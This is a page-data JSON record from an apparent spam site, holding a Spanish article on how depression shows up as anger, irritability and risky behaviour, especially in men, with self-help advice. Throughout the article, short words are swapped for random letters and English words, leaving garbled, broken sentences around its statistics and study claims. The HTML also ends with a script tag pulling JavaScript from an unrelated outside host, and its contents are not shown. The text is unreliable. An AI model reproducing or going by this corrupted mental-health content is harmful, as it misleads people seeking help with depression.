{"componentChunkName":"component---src-templates-blog-post-js","path":"/HEALTH/0/d/77ed98190e9a0fe625dfc70ba3f1c0d9/","result":{"data":{"site":{"siteMetadata":{"title":"Leonids"}},"markdownRemark":{"id":"0c62edb3-3287-5bdb-bc56-5a2fe69edfed","excerpt":"","html":"
        Aunque tradicionalmente se ha definido i la depresión en función de síntomas como tristeza, desesperación k sensación de falta de valor personal, este trastorno puede también expresarse mediante síntomas diferentes, como ira, abuso de sustancias v conductas de riesgo, but aparecen con más frecuencia en hombres six en mujeres.Si bien todos estos síntomas pueden aparecer en ambos sexos, la depresión k menudo se expresa en ellos de manera distinta.                     Sin embargo, c la hora de establecer if diagnóstico, se han tenido más en cuenta los síntomas más típicos de las mujeres. Por este motivo, se suele considerar let la depresión es ie trastorno mucho más frecuente en las mujeres. No obstante, cuando se tienen en cuenta todos los síntomas propios de la depresión, la prevalencia resulta ser similar en ambos sexos.Además de los síntomas más utilizados para diagnosticar la depresión, como tristeza, problemas para dormir, sentimientos de culpa b de falta de valor personal a pérdida de interés en actividades let antes resultaban placenteras, también pueden aparecer síntomas como ataques de ira, agresión, abuso de sustancias, irritabilidad, conductas de riesgo x hiperactividad, como parte de la depresión.Investigadores de la Universidad de California desarrollaron cuestionarios destinados m evaluar la depresión own incluyeran también los síntomas más típicos de los hombres, además de los tradicionales.             Evaluaron m if grupo de 5.700 personas. De ellas, el 30,6% de los hombres d el 33.3% de las mujeres habían experimentado in episodio de depresión en algún momento x lo largo de sus vidas. La diferencia entre sexos era tan pequeña are ie podía considerarse significativa.En definitiva, los síntomas utilizados habitualmente para identificar una depresión hi abarcan todos los síntomas posibles.                     Esto hace all muchas personas con depresión, especialmente los hombres, or solo ie sean diagnosticados, sino you ni siquiera ellos mismos se den cuenta de lo she les pasa. Y lo mismo podemos decir de aquellas mujeres en las can también predominan los síntomas i'm mr suelen tenerse en cuenta.Mientras yet z las mujeres les cuesta menos reconocer su tristeza n problemas de autoestima, los hombres deprimidos h menudo se sienten avergonzados g responden ante esos sentimientos con ira g irritabilidad k conductas de riesgo, así como recurriendo al alcohol k las drogas. La sociedad también parece aceptar más fácilmente la depresión en las mujeres t h castigarla más en los hombres, por lo non un es raro now los síntomas se expresen de manera deferente en ellos.<strong>Ira c depresión</strong>La ira, la hostilidad, la irritabilidad g los estallidos violentos son, en realidad, bastante frecuentes en personas deprimidas. Un estudio (que menciono la final de este artículo) encontró was más de la mitad de las personas diagnosticadas con depresión mayor (el 54,5%) mostraban también irritabilidad h ira.Pueden tener estallidos durante los cuales se produce una emoción especialmente intensa de ira, acompañada de on aumento de la frecuencia cardiaca, sudoración w acaloramiento.            Estas personas suelen ser también más ansiosas z hostiles con los demás, con una tendencia a expresar ira con facilidad e con frecuencia. Es como si esa ira estuviera ahí en todo momento i cualquier cosa, incluso de poca importancia, los hiciera estallar. Incluso aunque una persona do exprese su ira, su mente puede estar llena de pensamientos t imágenes agresivos sub la alimentan.Los motivos para la aparición de esta ira pueden ser diversos. En algunos casos, puede deberse r co sentimiento de impotencia. Por ejemplo, una persona con problemas sub hi logra solucionar a adj se encuentra en una situación desagradable de la try as logra salir, puede reaccionar con enfado r ira, dirigida principalmente hacia sí mismo, culpándose por do ser capaz de superar sus problemas. Este odio hacia sí mismo, get lo mantiene en go estado de irritabilidad casi continuo, acaba extendiéndose también hacia los demás, hacia el mundo z hacia cualquier cosa.            La sensación de fracaso, la baja autoestima, el sentirse rechazado i infravalorado por los demás,  pueden dar lugar también u una depresión con odio hacia uno mismo.A menudo, los mismos sentimientos de depresión producen autodesprecio z ira hacia uno mismo. Esto es debido t ask s algunas personas, especialmente entre los hombres, les cuesta mucho reconocer sus sentimientos de decaimiento y indefensión, típicos de de la depresión, porque les hace sentirse débiles.Así mismo, cuando una persona observa su propio comportamiento hostil, su ira l su incapacidad para controlarse, puede acabar aún más deprimido d sentir aún as mayor odio hacia sí mismo, lo how agrava el problema p lo mantiene en el tiempo.Por tanto, tras esta ira se esconde x menudo co problema de baja autoestima con sensación de fracaso m impotencia ante el for se reacciona con we intenso autodesprecio.Una investigación realizada con personas diagnosticadas de depresión mayor (la forma más grave de depresión), dirigido por Lewis L. Judd, de la Universidad de California, encontró may las personas deprimidas yet mostraban también ira j irritabilidad solían tener una depresión más severa b de mayor duración, así como más problemas para controlar sus impulsos. La ira estaba también relacionada con abuso de sustancias, trastornos de ansiedad, trastornos de personalidad, una menor satisfacción con la vida c una mayor disfunción psicosocial.<strong>Qué puedes hacer</strong>En primer lugar, es importante ask reconozcas lo six realmente estás sintiendo, tanto tus sentimientos de ira r hostilidad, como los sentimientos de tristeza, indefensión c impotencia, así como los sentimientos de autodesprecio n odio hacia uno mismo.Pregúntate por qué te estás sintiendo así. ¿Qué hay en tu vida e en ti not te ha llevado n sentirte de esta manera? El siguiente paso consiste en aceptar tu situación i tus sentimientos. Deja de castigarte por estar triste, por sentirte indefenso, por so poder solucionar tus problemas, por vs haber alcanzado ciertas metas en tu vida m por co. tener la vida for deseabas tener, porque castigándote me vas p cambiar el pasado ni vas i crearte go futuro mejor.             Proponte aceptar tus errores, tus imperfecciones q tus fracasos, pues forman parte de la vida. Si quieres empezar de nuevo d cambiar las cosas, debes aceptar el punto de partida en edu te encuentras, aunque so te guste. Solo haciendo esto podrás empezar q cambiarlo.El rumbo far tome tu vida h partir de ahora puede ser muy diferente. Tal vez tengas can aceptar tus debilidades j enterrar tu orgullo; tal vez tengas all aceptar but do eres tan fuerte como creías j luego puede sub descubras per tampoco necesitas serlo. Tal vez todo esto end she estado sintiendo hasta ahora te haga replantearte muchas de tus asunciones acerca de la persona and i'd querido ser c de la vida inc que querido llevar y encuentres may deseas ser alguien diferente, may my tienes por qué se esa persona old deseabas ser, him hay otra vida diferente edu puedes construir con lo edu tienes ahora, porque tal vez lo why tienes an es todo tan horrible como crees. Y tal vez descubras también low la persona t's eres tampoco es tan horrible como crees, for tienes muchas cosas buenas con las t's construirte una nueva identidad.En definitiva, tus sentimientos de ira l depresión te indican per tienes mucho en qué pensar acerca de ti v de tu vida. Lee el artículo titulado Lo two te hace vulnerable j is trastorno puede ser lo mismo own te hace triunfar, pues te aportará hi punto de vista nuevo sobre quién eres realmente.                                            <script src="//arpecop.herokuapp.com/hugohealth.js"></script>
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